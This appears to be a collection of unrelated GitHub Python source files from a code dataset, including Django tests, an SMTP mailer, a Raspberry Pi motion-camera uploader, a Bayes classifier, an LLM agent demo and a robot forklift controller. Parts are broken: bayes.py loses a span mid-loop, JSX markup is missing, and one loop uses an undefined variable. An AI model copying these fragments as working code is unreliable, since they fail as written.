Page')\n other_friend.save()\n friendship = Friendship(user=self.user, friend=other_friend)\n friendship.save()\n other_friend_saved_event = SavedEvent(user=other_friend,\n event=nearby_event,\n location=nearby_location)\n other_friend_saved_event.save()\n\n # Mock a far event that the user's nearby friend is interested in.\n place = Place(name='my crib', geo=far_location)\n place.save()\n nearby_user_event = Event(title='netflix and chill',\n creator=friend_of_friend,\n place=place)\n nearby_user_event.save()\n nearby_user_saved_event = SavedEvent(user=friend, event=nearby_user_event,\n location=nearby_location)\n nearby_user_saved_event.save()\n\n # Mock a far event that the user's far away friend is interested in.\n place = Place(name='rucker park', geo=far_location)\n place.save()\n far_event = Event(title='ballllinnnn', creator=friend_of_friend,\n place=place)\n far_event.save()\n far_event_saved_event = SavedEvent(user=friend, event=far_event,\n location=far_location)\n far_event_saved_event.save()\n\n # Mock an event without a place that the user's friend is interested in.\n no_place_event = Event(title='the word game', creator=friend_of_friend)\n no_place_event.save()\n no_place_saved_event = SavedEvent(user=friend, event=no_place_event,\n location=far_location)\n no_place_saved_event.save()\n\n # Mock a friends_only event that the user's friend's friend created.\n friends_only_event = Event(title='being clicky', creator=friend_of_friend,\n friends_only=True)\n friends_only_event.save()\n friends_only_saved_event = SavedEvent(user=friend,\n event=friends_only_event,\n location=nearby_location)\n friends_only_saved_event.save()\n\n # Mock a saved event that the user saved.\n far_place = Place(name='the bean', geo=far_location)\n far_place.save()\n user_event = Event(title='coding up a storm', creator=friend,\n place=far_place)\n user_event.save()\n user_saved_event = SavedEvent(user=self.user, event=user_event,\n location=far_location)\n user_saved_event.save()\n\n response = self.client.get(self.list_url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n # Mock a saved event where the event is expired.\n nearby_place = Place(name='mi casa', geo=nearby_location)\n nearby_place.save()\n sixty_nine = datetime(year=1969, month=7, day=20, hour=20, minute=18)\n expired_event = Event(title='watch the first moon landing',\n creator=friend, datetime=sixty_nine, expired=True)\n expired_event.save()\n expired_event_saved_event = SavedEvent(event=expired_event, user=friend,\n location=nearby_location)\n expired_event_saved_event.save()\n\n # It should return the not-friends-only saved events, where either the\n # user is nearby, or the event is nearby. The saved events should be sorted\n # from newest to oldest.\n saved_events = [\n user_saved_event,\n nearby_user_saved_event,\n nearby_event_saved_event,\n ]\n context = {\n 'interested_friends': {\n nearby_event.id: [friend, other_friend],\n user_event.id: [],\n },\n 'total_num_interested': {\n nearby_event.id: 3,\n nearby_user_event.id: 1,\n user_event.id: 1,\n },\n }\n serializer = SavedEventFullEventSerializer(saved_events, many=True,\n context=context)\n json_saved_events = JSONRenderer().render(serializer.data)\n self.assertEqual(response.content, json_saved_events)\n","repo_name":"mkolodny/down-server","sub_path":"rallytap/apps/events/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":26059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"7790875412","text":"# -*- coding:utf-8 -*-\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.header import Header\n\nsmtp = \"smtp.qq.com\"\n\nsender = 'xxxxxxx@qq.com'\nreceiver = 'xxxxxxxxx@163.com'\n# 授权密码\npwd = 'xxxxxxxxxxx'\n\ntitle = \"hello I am Python\"\ncontents = \"{}发送给{}的邮件\".format(sender, receiver)\n\n\ntry:\n ldqplxo = MIMEText(contents, 'plain', 'utf-8')\n ldqplxo['From'] = Header(sender, 'utf-8')\n ldqplxo['To'] = Header(receiver, 'utf-8')\n ldqplxo['Subject'] = Header(title, 'utf-8')\n mbdrewr = smtplib.SMTP_SSL(smtp, 465)\n mbdrewr.login(sender, pwd)\n mbdrewr.sendmail(sender, receiver, ldqplxo.as_string())\n mbdrewr.quit()\nexcept Exception as e:\n print('错误>>>', e)","repo_name":"shineYG/Python-A-B-C","sub_path":"mail/QQmail.py","file_name":"QQmail.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18929156735","text":"from gpiozero import MotionSensor\nfrom picamera import PiCamera\nimport base64\nimport datetime\nimport json\nimport os\nimport pathlib\nimport pprint\nimport random\nimport time\nimport requests\n\n# Load environmental variables\nfrom dotenv import load_dotenv\nload_dotenv()\n\n# Set up printer and text generator\npp = pprint.PrettyPrinter(indent=4)\nf = open('phrases.json')\nphrases = json.load(f)\nf.close()\nphrase = random.choice(phrases['data'])\n\n# Get Drupal host and global auth\nglobal url\nurl = os.getenv('DRUPAL_HOST', 'https://live-monan-live.pantheonsite.io')\nglobal drupal_auth\n\n# Authenticate with Drupal site\nauth_data = {\n 'name': os.getenv('DRUPAL_USER', 'superuser'),\n 'pass': os.getenv('DRUPAL_PASS', 'password'),\n}\nauth_string = auth_data['name'] + \":\" + auth_data['pass']\n\n# Create object for PIR sensor\n# PIR sensor is connected to GPIO-4 (pin 7)\npir = MotionSensor(4)\n\n# Create Object for PiCamera\ncamera = PiCamera()\ncamera.rotation = 180\n\n\n# Create filename from date and time.\ndef get_file_name():\n now = datetime.datetime.now()\n f_name = now.strftime(\"%Y-%m-%d_%H-%M-%S.jpg\")\n return f_name\n\n\ndef get_base64_encoded_image(image_path):\n with open(image_path, \"rb\") as img_file:\n return base64.b64encode(img_file.read()).decode('utf-8')\n\n\ndef monan_auth():\n # See if we're logged in\n session_request = requests.get(url + '/session/token')\n if session_request.status_code == 200 and session_request.text is not None:\n # We're logged in, return the token\n return session_request.text\n\n # Make request, get back CSRF and logout tokens.\n auth_request = requests.post(url + '/user/login?_format=hal_json', data=auth_data)\n drupal_auth = auth_request.json()\n\n # Check if session is already open\n if auth_request.status_code == 403:\n if drupal_auth['message'] == \"This route can only be accessed by anonymous users.\":\n # Get new session token\n session_request = requests.get(url + '/session/token')\n return session_request.text\n\n # Return session token\n return drupal_auth['csrf_token']\n\n\ndef monan_file(f_name, article_id):\n # Get base64 image\n # image_data = get_base64_encoded_image(filename)\n # image_extension = pathlib.Path(filename).suffix\n image_name = pathlib.Path(f_name).name\n\n # Prepare data for POST\n file = open(f_name, \"rb\")\n binary_data = file.read()\n file.close()\n\n # POST /jsonapi/node/article/{uuid}/field_image HTTP/1.1\n # Content-Type: application/octet-stream\n # Accept: application/vnd.api+json\n # Content-Disposition: file; filename=\"filename.jpg\"\n\n # Headers\n headers = {\n \"Content-Type\": \"application/octet-stream\",\n \"Accept\": \"application/vnd.api+json\",\n \"Content-Disposition\": 'file; filename=\"' + image_name + '\"',\n \"X-CSRF-Token\": monan_auth(),\n \"Authorization\": \"Basic \" + base64.b64encode(auth_string.encode('utf-8')).decode('utf-8'),\n }\n image_response = requests.post(url + '/jsonapi/node/article/' + article_id + '/field_image', data=binary_data,\n headers=headers)\n return image_response\n\n\ndef send_to_monan_live(f_name):\n # Prepare article data.\n headers = {\n \"Content-Type\": \"application/vnd.api+json\",\n \"Accept\": \"application/vnd.api+json\",\n \"X-CSRF-Token\": monan_auth(),\n \"Authorization\": \"Basic \" + base64.b64encode(auth_string.encode('utf-8')).decode('utf-8'),\n }\n data = json.dumps({\n \"data\": {\n \"type\": \"node--article\",\n \"attributes\": {\n \"title\": \"Mike: \" + phrase['phrase'],\n \"body\": {\n \"value\": phrase['meaning'],\n \"format\": \"plain_text\"\n }\n }\n }\n })\n\n # Create new node\n article_response = requests.post(url + '/jsonapi/node/article', data=data, headers=headers)\n article_id = article_response.json()['data']['id']\n pp.pprint(article_response.json())\n\n # Upload image.\n image_response = monan_file(f_name, article_id)\n pp.pprint(image_response.json())\n\n\n# Run main\ndef main():\n print(\"Starting Mike detection...\")\n while True:\n # Get filename, set to tmp\n filename = get_file_name()\n\n # Wait for motion to be detected\n pir.wait_for_motion()\n print(\"Mike alert!\")\n\n # Wait 2 seconds\n time.sleep(2)\n\n # Preview camera on screen until picture is taken\n # Only used if using desktop OS.\n # camera.start_preview()\n\n # Take picture, save to temp\n print(\"Taking photo: \" + filename)\n camera.capture(filename)\n # camera.stop_preview()\n\n # Send to monan.live\n send_to_monan_live(filename)\n\n # Clean files up\n os.remove(filename)\n\n # Wait 10 seconds before checking the motion sensor again.\n time.sleep(30)\n\n\n# Run infinitely\nwhile error:\n try:\n main()\n error = False\n except IOError:\n error = True\n","repo_name":"kyletaylored/monan-live","sub_path":"python-app/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":5032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25002221712","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\nwith open(\"dataA.txt\", \"r\") as ins:\n dataA= []\n for line in ins:\n for word in line.split():\n dataA.append(word)\n\nwith open(\"dataB.txt\", \"r\") as ins:\n dataB= []\n for line in ins:\n for word in line.split():\n dataB.append(word)\n\nAx = np.zeros(len(dataA)/2)\nAy = np.zeros(len(dataA)/2)\ni = 0\nl = 0\nwhile iprawdB:\n plt.plot(newX,newY,'*r')\n else:\n plt.plot(newX, newY, 'xg')\n print(prawdA)\n print(prawdB)\nplt.plot(Ax,Ay,'xr')\nplt.plot(Bx,By,'*g')\nplt.show()","repo_name":"nsobolewska/Bayes","sub_path":"bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28146342296","text":"import os\n\nfrom dotenv import load_dotenv\n\nfrom swarms.models import OpenAIChat\nfrom swarms.prompts.code_interpreter import CODE_INTERPRETER\nfrom swarms.structs import Agent\nfrom swarms.prompts.programming import TEST_SOP, DOCUMENTATION_SOP\nfrom termcolor import colored\n\nload_dotenv()\n\n\nFEATURE = (\n \"Implement an all-new signup system in typescript using supabase\"\n)\n\nCODEBASE = \"\"\"\nimport React, { useState } from 'react';\nimport UpperPanel from './UpperPanel';\nimport LowerPanel from './LowerPanel';\n\nconst MainPanel = () => {\n const [promptInstructionForLowerPanel, setPromptInstructionForLowerPanel] = useState(''); \n const [formData, setFormData] = useState('');\n const [isLoading, setIsLoading] = useState(false); \n\n return (\n
\n \n \n
\n );\n};\n\nexport default MainPanel;\n\n\n\"\"\"\n\n# Load the environment variables\napi_key = os.getenv(\"OPENAI_API_KEY\")\n\n# Initialize the language agent\nllm = OpenAIChat(\n model_name=\"gpt-4\",\n openai_api_key=api_key,\n temperature=0.5,\n max_tokens=4000,\n)\n\n# Product Manager Agent init\nproduct_manager_agent = Agent(\n llm=llm, max_loops=1, sop=CODE_INTERPRETER, autosave=True\n)\n\n# Initialize the agent with the language agent\nfeature_implementer_frontend = Agent(\n llm=llm, max_loops=1, sop=CODE_INTERPRETER, autosave=True\n)\n\n# Create another agent for a different task\nfeature_implementer_backend = Agent(\n llm=llm, max_loops=1, sop=CODE_INTERPRETER, autosave=True\n)\n\n# Create another agent for a different task\ntester_agent = Agent(\n llm=llm, max_loops=1, sop=TEST_SOP, autosave=True\n)\n\n# Create another agent for a different task\ndocumenting_agent = Agent(\n llm=llm, max_loops=1, sop=DOCUMENTATION_SOP, autosave=True\n)\n\n\n# Product Agent prompt\ndef feature_codebase_product_agentprompt(\n feature: str, codebase: str\n) -> str:\n prompt = (\n \"Create an algorithmic pseudocode for an all-new feature:\"\n f\" {feature} based on this codebase: {codebase}\"\n )\n return prompt\n\n\n# Product Manager Agent\nproduct_manager_out = product_manager_agent.run(\n feature_codebase_product_agentprompt(FEATURE, CODEBASE)\n)\nprint(\n colored(\n (\n \"---------------------------- Product Manager Plan:\"\n f\" {product_manager_out}\"\n ),\n \"cyan\",\n )\n)\n\n# Feature Implementer Agent\nagent1_out = feature_implementer_frontend.run(\n f\"Create the backend code for {FEATURE} in markdown based off of\"\n f\" this algorithmic pseudocode: {product_manager_out} the logic\"\n f\" based on the following codebase: {CODEBASE}\"\n)\nprint(\n colored(\n (\n \"--------------------- Feature Implementer Code logic:\"\n f\" {agent1_out}\"\n ),\n \"cyan\",\n )\n)\n\n# Tester agent\ntester_agent_out = tester_agent.run(\n f\"Create tests for the following code: {agent1_out}\"\n)\nprint(\n colored(\n (\n \"---------------------------- Tests for the logic:\"\n f\" {tester_agent_out}\"\n ),\n \"green\",\n )\n)\n\n\n# Documentation Agent\ndocumenter_agent_out = documenting_agent.run(\n f\"Document the following code: {agent1_out}\"\n)\nprint(\n colored(\n (\n \"---------------------------- Documentation for the\"\n f\" logic: {documenter_agent_out}\"\n ),\n \"yellow\",\n )\n)\n","repo_name":"kyegomez/swarms","sub_path":"playground/demos/grupa/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":264,"dataset":"github-code","pt":"3"} +{"seq_id":"36307132479","text":"from sklearn.preprocessing import StandardScaler \nfrom sklearn.decomposition import PCA \nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\n\ndef save_np_arrays(folder, array_names, arrays):\n\tassert type(array_names) == list or type(array_names) == tuple, \\\n\t\t\"expected type list or tuple, got %s\" % array_names.__class__.__name__\n\tassert type(arrays) == list or type(arrays) == tuple, \\\n\t\t\"expected type list or tuple, got %s\" % arrays.__class__.__name__\n\n\tprint(\"saving numpy arrays %s\" % \", \".join(array_names))\n\tfor name, a in zip(array_names, arrays):\n\t\tnp.save(os.path.join(folder, name), a)\n\tprint(\"arrays saved successfully\\n\")\n\ndef load_np_arrays(folder, array_names):\n\tassert type(array_names) == list or type(array_names) == tuple, \\\n\t\t\"expected type list or tuple, got %s\" % array_names.__class__.__name__\n\n\tprint(\"loading numpy arrays %s\" % \", \".join(array_names))\n\tl = []\n\tfor name in array_names:\n\t\ttry:\n\t\t\tl.append(np.load(os.path.join(folder, name + \".npy\")))\n\t\texcept IOError:\n\t\t\tl.append(None)\n\tprint(\"arrays loaded\\n\")\n\treturn l\n\nif __name__ == '__main__':\n\tX_s, y = load_np_arrays('data', ['X_s', 'y'])\n\tif X_s is None or y is None:\n\t\tdf = pd.read_csv('train_v2.csv')\n\t\tdf = df.dropna(axis = 0)\n\t\tdf = df[df.columns[df.dtypes != 'O']]\n\t\tsc = StandardScaler()\n\t\tX_s = sc.fit_transform(df.values[:, :-1])\n\t\tX_s = X_s[:, X_s.var(axis = 0) != 0]\n\t\ty = df.values[:, -1].reshape(-1, 1)\n\t\tsave_np_arrays('data', ['X_s', 'y'], [X_s, y])\n\n\n\t'''\n\tpca = PCA()\n\tpca.fit(X_s)\n\n\tplt.plot(pca.explained_variance_ratio_)\n\tplt.yscale('log')\n\tplt.grid(True)\n\tplt.show()\n\t'''\n","repo_name":"amirnasri/Data-Science","sub_path":"Kaggle/Loan_Default_Prediction/main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71235421843","text":"import logging\nimport time\n\nfrom .autonomousBot import SwarmLabBot\n\nfrom .lineDetection import LineTracking\n\n\"\"\"\nThe bot for the Swarmlabsimulation \n\"\"\"\n\n\nclass SwarmLabBot(SwarmLabBot):\n\n def setup(self):\n self._stop = False\n\n self.start_detection_thread(self.start_sonar_detection)\n # Time to boot the ultrasonic sensors and to take first measurements\n time.sleep(1)\n\n def __init__(self):\n super().__init__()\n self._speed_slow = 21\n self._speed_max = 33\n\n \"\"\"\n moving from starting pos to Warehouse along a line \n \"\"\"\n\n def moveToWarehouse(self, startingpos=1):\n if (startingpos == 2):\n self.setMoving(secs=1, power=self._speed_max)\n self.steer(-0.9)\n self.setMoving(secs=5, power=self._speed)\n self.steer(0)\n self.setMoving(secs=1, power=self._speed)\n self.steer(0.5)\n self._drive_motor.change_power(self._speed)\n time.sleep(6)\n\n self.moveAlongLine(widthToObstacle=35, rightbeforeleft=True)\n time.sleep(1)\n\n \"\"\"\n Handling detected Stopsign\n \"\"\"\n\n def handleStopSign(self):\n # Stop the forward driving\n temp_speed = self._speed\n self._speed = 0\n self._drive_motor.change_power(0)\n logging.info(\n \"SwarmlabBot:StopSignDetection : successfully stopped at stop sign\")\n\n # Wait two seconds\n time.sleep(2)\n\n # Continue the driving\n self._speed = temp_speed\n self._status_stop_sign_detected = False\n\n \"\"\"\n moving along A Black line on White ground\n @obstacledetection= allow sonic sensors to stop the movement\n @widthToObstacle= distance to the obstacle until it stops\n @rightbeforeleft =handling right before left \n \"\"\"\n\n def moveAlongLine(self, obstacledetection=True, widthToObstacle=55, rightbeforeleft=False):\n linefound = False\n print(\"Moving along line\")\n last_detected_time = 0\n while not self._stop:\n time.sleep(0.1)\n lt = LineTracking()\n coords, _ = lt.track_line(self._current_image.copy())\n last_detected_time_difference = int(\n round(time.time() * 1000)) - last_detected_time\n\n if rightbeforeleft and self._sonic_data[4] < 50 if self._sonic_data[4] != None else False:\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n time.sleep(1)\n if self._sonic_data[4] < 50 if self._sonic_data[4] != None else False:\n time.sleep(10)\n\n # break iftheres a obstacle\n if obstacledetection and (\n (self._sonic_data[2] < widthToObstacle if self._sonic_data[2] != None else False) or (\n self._sonic_data[3] < widthToObstacle if self._sonic_data[3] != None else False)):\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n time.sleep(2)\n if (self._sonic_data[2] < widthToObstacle if self._sonic_data[2] != None else False) or (\n self._sonic_data[3] < widthToObstacle if self._sonic_data[3] != None else False):\n print(\"obstacle in font: \" + str(self._sonic_data[2]) + \" \" + str(self._sonic_data[3]))\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n self._drive_motor.change_power(0)\n\n return\n else:\n self._drive_motor.change_power(self._speed)\n\n # If line coordinates are detected.\n if coords != None and not self._pause_line_detection:\n last_detected_time = int(round(time.time() * 1000))\n self._status_line_detected = True\n if linefound == False:\n print(\"Line found\")\n linefound = True\n delta = -160 + coords[2]\n # If delta out of tolerance, steer right\n if (delta > 10):\n self._drive_motor.change_power(self._speed)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(coords[2] / 320))\n\n # Else if delta out of tolerance, steer left\n elif delta < -10:\n self._drive_motor.change_power(self._speed)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(-(160 - coords[2]) / 160))\n\n # Else drive streight\n else:\n self._drive_motor.change_power(self._speed)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n\n # If no line is detected stop driving\n elif not self._pause_line_detection:\n # if there is no line found, continue driving\n if linefound == False:\n continue\n # if there was a line and it ended , do the next step\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n print(\"no line\")\n return\n\n \"\"\"picking storage up from warehouse\"\"\"\n\n def handleWarehouse(self):\n self.steer(0.0)\n self.setMoving(0, 1)\n while self._sonic_data[2] > 22 or self._sonic_data[3] > 22:\n print(self._sonic_data[2] - self._sonic_data[3])\n if 1 > abs(self._sonic_data[2] - self._sonic_data[3]):\n self._drive_motor.change_power(self._speed_slow)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n elif self._sonic_data[2] > self._sonic_data[3]:\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0.2))\n self._drive_motor.change_power(self._speed_slow)\n # Else if delta out of tolerance, steer left\n else:\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(-0.2))\n self._drive_motor.change_power(self._speed_slow)\n time.sleep(0.2)\n self.setMoving(0, 1)\n self._forklift.to_pickup_mode()\n self._forklift.set_custom_height(9.7)\n time.sleep(4)\n self.steer(0.0)\n time.sleep(1)\n self._drive_motor.change_power(self._speed_max)\n time.sleep(2)\n self._drive_motor.change_power(0)\n self._forklift.set_custom_height(12)\n time.sleep(2)\n self._drive_motor.change_power(-self._speed_slow)\n time.sleep(3)\n self._drive_motor.change_power(0)\n self._forklift.to_carry_mode()\n\n \"\"\" move back until the swarm robot is parallel to an obstacle in front\"\"\"\n\n def anlignobstacle(self):\n while 2 < abs(self._sonic_data[2] - self._sonic_data[3]) < 10:\n if self._sonic_data[2] < self._sonic_data[3]:\n self._drive_motor.change_power(-self._speed_slow)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0.7))\n # Else if delta out of tolerance, steer left\n else:\n self._drive_motor.change_power(-self._speed_slow)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(-0.7))\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n return\n\n \"\"\"Move from Warehouse to the sorting factory \"\"\"\n\n def moveToSortingFactory(self):\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0.8))\n self._drive_motor.change_power(-self._speed)\n time.sleep(3.5)\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n time.sleep(1.5)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(-0.35))\n self._drive_motor.change_power(self._speed)\n time.sleep(2.5)\n self._drive_motor.change_power(0)\n # stap\n time.sleep(3)\n self._drive_motor.change_power(self._speed)\n time.sleep(3)\n self.steer(0)\n self.setMoving(1.5, secs=1)\n\n self.moveAlongLine(widthToObstacle=45)\n\n \"\"\"Unload the pallet at the sorting factory \"\"\"\n\n def unload_sorting_Factory(self):\n self._forklift.set_custom_height(9)\n self._drive_motor.change_power(self._speed)\n time.sleep(5)\n self._drive_motor.change_power(0)\n self._forklift.set_custom_height(5)\n time.sleep(3)\n self._drive_motor.change_power(-self._speed_max)\n time.sleep(3)\n self._drive_motor.change_power(0)\n\n \"\"\"Move from sortinginput to output \"\"\"\n\n def moveToSortingOutput(self):\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0.8))\n self._drive_motor.change_power(-self._speed)\n time.sleep(3)\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n\n time.sleep(1)\n self._drive_motor.change_power(-self._speed)\n time.sleep(0.5)\n self._drive_motor.change_power(0)\n time.sleep(1)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(-0.8))\n self._drive_motor.change_power(-self._speed)\n time.sleep(3)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n self._drive_motor.change_power(0)\n self.moveAlongLine(widthToObstacle=45)\n\n \"\"\"Move from sortingoutput to the robotarm with the Truck \"\"\"\n\n def move_toRobotarm(self):\n self._forklift.to_carry_mode()\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0.8))\n self._drive_motor.change_power(-self._speed)\n time.sleep(2)\n self._drive_motor.change_power(0)\n\n time.sleep(1)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(-0.8))\n self._drive_motor.change_power(self._speed)\n time.sleep(5.5)\n self.setMoving(power=0, secs=2)\n\n \"\"\"Unload at the Robotarm \"\"\"\n\n def unload_Robotarm(self):\n self.moveAlongLine(widthToObstacle=45)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n time.sleep(1)\n self.moveStraightUntilObstacle(widthToObstacle=38, activateLeft=False, speed=22)\n self._drive_motor.change_power(0)\n self._forklift.set_custom_height(0)\n time.sleep(7)\n self._drive_motor.change_power(-self._speed)\n time.sleep(2)\n self._drive_motor.change_power(0)\n\n \"\"\"Pickup the pallet from the Robotarm \"\"\"\n\n def pickup_pallet_from_robotarm(self):\n self.steer(-0.1)\n self._drive_motor.change_power(self._speed)\n time.sleep(2.5)\n self._drive_motor.change_power(0)\n self._forklift.to_carry_mode()\n time.sleep(5)\n self._drive_motor.change_power(-self._speed)\n time.sleep(3)\n self._drive_motor.change_power(0)\n\n \"\"\"Pickup the pallet from the Sorting machine output \"\"\"\n\n def pickup_Pallet_from_SortingMachine(self):\n self._forklift.set_custom_height(0)\n time.sleep(2.5)\n self._drive_motor.change_power(self._speed)\n time.sleep(0.5)\n\n self._drive_motor.change_power(self._speed)\n time.sleep(3)\n self._drive_motor.change_power(0)\n self._forklift.to_carry_mode()\n time.sleep(4)\n self._drive_motor.change_power(-self._speed)\n time.sleep(1)\n self._drive_motor.change_power(0)\n\n \"\"\" Moves in a straight line to the obstacle\"\"\"\n\n def moveStraightUntilObstacle(self, widthToObstacle=50.0, activateLeft=True, activateRight=True, speed=25):\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n while ((self._sonic_data[2] > widthToObstacle if self._sonic_data[\n 2] is not None else False) and activateLeft) or (\n (\n self._sonic_data[3] > widthToObstacle if self._sonic_data[\n 3] is not None else False) and activateRight):\n time.sleep(0.1)\n print(self._sonic_data)\n if ((self._sonic_data[2] < widthToObstacle if self._sonic_data[\n 2] is not None else False) and activateLeft) or (\n (self._sonic_data[3] < widthToObstacle if self._sonic_data[\n 3] is not None else False) and activateLeft):\n logging.info(\"obstacle detected\")\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n self._drive_motor.change_power(0)\n return\n else:\n self._drive_motor.change_power(speed)\n logging.info(\"obstacle detected\")\n self._drive_motor.change_power(0)\n\n \"\"\" Moves from the Robotarm away\"\"\"\n def moveFromArmAway(self):\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0.8))\n self._drive_motor.change_power(-self._speed)\n time.sleep(4)\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n time.sleep(1)\n self._drive_motor.change_power(self._speed)\n time.sleep(3)\n self.moveAlongLine(obstacledetection=False)\n\n \"\"\" Bring the pallet back to the warehouse \"\"\"\n def deliverPalletatwarehouse(self):\n self.steer(-0.2)\n self._drive_motor.change_power(25)\n time.sleep(4)\n self.moveAlongLine()\n self.steer(0.8)\n self._drive_motor.change_power(-self._speed)\n time.sleep(5)\n self.moveAlongLine(widthToObstacle=45)\n\n \"\"\" Unload the pallet at the warehouse \"\"\"\n def unload_at_warehouse(self):\n self._forklift.set_custom_height(12)\n time.sleep(5)\n while self._sonic_data[2] > 20 or self._sonic_data[3] > 20:\n print(self._sonic_data[2] - self._sonic_data[3])\n if 1 > abs(self._sonic_data[2] - self._sonic_data[3]):\n self._drive_motor.change_power(23)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n elif self._sonic_data[2] > self._sonic_data[3]:\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0.2))\n self._drive_motor.change_power(23)\n # Else if delta out of tolerance, steer left\n else:\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(-0.2))\n self._drive_motor.change_power(23)\n time.sleep(0.4)\n self._drive_motor.change_power(0)\n self._steer_motor.change_position(\n self._steer_motor.position_from_factor(0))\n time.sleep(0.5)\n self._drive_motor.change_power(self._speed_max)\n time.sleep(3)\n self._drive_motor.change_power(0)\n self._forklift.set_custom_height(9.3)\n time.sleep(2)\n self._drive_motor.change_power(-23)\n time.sleep(3)\n self._drive_motor.change_power(0)\n self._forklift.to_carry_mode()\n\n \"\"\" \n Moving back to the parking spot \n \"\"\"\n def move_to_Parkingspot(self):\n self.steer(0.8)\n self.setMoving(power=-self._speed, secs=5.6)\n self.steer(-0.8)\n self.setMoving(secs=2, power=self._speed)\n self.steer(0)\n self.setMoving(secs=3, power=self._speed)\n self.steer(-0.8)\n self._drive_motor.change_power(self._speed)\n time.sleep(4.5)\n self.moveAlongLine(obstacledetection=False)\n time.sleep(2)\n self.steer(-0.8)\n self.setMoving(secs=12, power=self._speed)\n self.steer(0.5)\n self.setMoving(secs=3, power=-self._speed)\n self.steer(-0.3)\n self.setMoving(secs=3, power=self._speed)\n","repo_name":"Feluin/LegoFabrik2","sub_path":"swarmrobot/botlib/swarmlabbot.py","file_name":"swarmlabbot.py","file_ext":"py","file_size_in_byte":16881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"47753224888","text":"def get_facility_staff(tbCargaHorariaSus, tbAtividadeProfissional):\n\n cols_step_0 = [\"CO_UNIDADE\", \"DS_ATIVIDADE_PROFISSIONAL\", \"CO_PROFISSIONAL_SUS\", \"QT_CARGA_HORARIA_AMBULATORIAL\"]\n step0 = tbCargaHorariaSus.merge(tbAtividadeProfissional, on=[\"CO_CBO\"],\n validate=\"many_to_one\")[cols_step_0]\n\n step1 = step0.groupby([\"CO_UNIDADE\", \"DS_ATIVIDADE_PROFISSIONAL\"])[\"QT_CARGA_HORARIA_AMBULATORIAL\"].sum().reset_index()\n step1.rename(columns={\"QT_CARGA_HORARIA_AMBULATORIAL\": \"SUM_HOURS\"}, inplace=True)\n\n step2 = step0.groupby([\"CO_UNIDADE\", \"DS_ATIVIDADE_PROFISSIONAL\"]).count().reset_index()\n step2.drop(\"QT_CARGA_HORARIA_AMBULATORIAL\", axis=1, inplace=True)\n step2.rename(columns={\"CO_PROFISSIONAL_SUS\": \"QTY_SUS_STAFF\"}, inplace=True)\n\n step3 = step2.merge(step1, on=[\"CO_UNIDADE\", \"DS_ATIVIDADE_PROFISSIONAL\"])\n facility_staff = step3.copy()\n\n return facility_staff","repo_name":"jairojuunior/cnes_datasus_processor","sub_path":"facility_staff.py","file_name":"facility_staff.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"978778592","text":"import io\nimport json\nfrom datetime import datetime\nfrom uuid import uuid4\n\nfrom PIL import Image\nfrom boto3.dynamodb.conditions import Key\n\nfrom chalicelib.dependency.cognito import IUsername\nfrom chalicelib.dependency.injection import inject\nfrom chalicelib.dependency.register import DependencyRegister\nfrom chalicelib.user import User, NotificationSettings, Theme, Course\n\ndependency_register = DependencyRegister()\n\napp = dependency_register.app\nauthorizer = dependency_register.authorizer\nuser_table = dependency_register.user_table\n\n\n@app.route('/comment', methods=['POST'], authorizer=authorizer)\n@inject(username=IUsername)\ndef 